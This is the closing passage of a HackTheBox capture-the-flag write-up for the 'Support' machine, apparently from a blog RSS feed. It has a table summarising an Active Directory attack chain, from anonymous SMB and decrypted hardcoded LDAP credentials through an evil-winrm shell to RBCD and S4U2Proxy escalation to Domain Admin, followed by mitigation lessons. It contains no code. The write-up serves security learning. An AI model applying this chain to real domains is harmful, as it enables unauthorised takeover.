&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Step&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Reconnaissance&lt;/td&gt;
&lt;td&gt;Nmap identified AD infrastructure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SMB Enumeration&lt;/td&gt;
&lt;td&gt;Anonymous access revealed UserInfo.exe.zip&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Binary Decompilation&lt;/td&gt;
&lt;td&gt;ILSpy extracted XOR-encrypted LDAP credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credential Recovery&lt;/td&gt;
&lt;td&gt;Python script decrypted the password&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LDAP Query&lt;/td&gt;
&lt;td&gt;Plaintext password found in support user's info field&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WinRM Access&lt;/td&gt;
&lt;td&gt;Shell via evil-winrm&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Privilege Escalation&lt;/td&gt;
&lt;td&gt;RBCD attack via BloodHound-identified path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Domain Admin&lt;/td&gt;
&lt;td&gt;S4U2Proxy impersonated Administrator&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  9. Key Vulnerabilities &amp;amp; Lessons
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Anonymous SMB Share&lt;/strong&gt; — Disable anonymous access, enforce authentication.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Hardcoded Credentials&lt;/strong&gt; — Use secret vaults, never embed credentials in code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Weak XOR Encryption&lt;/strong&gt; — Use AES with proper key management.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Plaintext Credentials in LDAP&lt;/strong&gt; — Never store sensitive data in directory attributes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Unrestricted WinRM&lt;/strong&gt; — Restrict to trusted admin networks only.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. Over-Privileged Groups&lt;/strong&gt; — Enforce least privilege, audit memberships regularly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;7. GenericAll on DC Object&lt;/strong&gt; — Review and restrict AD object permissions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;8. Misconfigured RBCD&lt;/strong&gt; — Audit delegation configurations regularly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;9. No Monitoring&lt;/strong&gt; — Implement AD logging and real-time alerting.&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The Support machine illustrates a common real-world scenario: a single exposed credential escalates into complete domain compromise through a chain of misconfigurations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key Takeaways:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt; Never trust anonymous SMB shares — they're reconnaissance goldmines&lt;/li&gt;
&lt;li&gt; Always scrutinize binaries for hardcoded secrets&lt;/li&gt;
&lt;li&gt; Monitor and audit AD group memberships and permissions&lt;/li&gt;
&lt;li&gt; Implement the principle of least privilege&lt;/li&gt;
&lt;li&gt; Enable comprehensive logging and alerting for suspicious AD activity&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This attack chain is entirely preventable with proper security controls. What's your biggest takeaway from this writeup?&lt;/p&gt;




</description>
      <category>hackthebox</category>
      <category>cybersecurity</category>
      <category>activedirectory</category>
      <category>ctf</category>
    </item>
  </channel>
</rss>
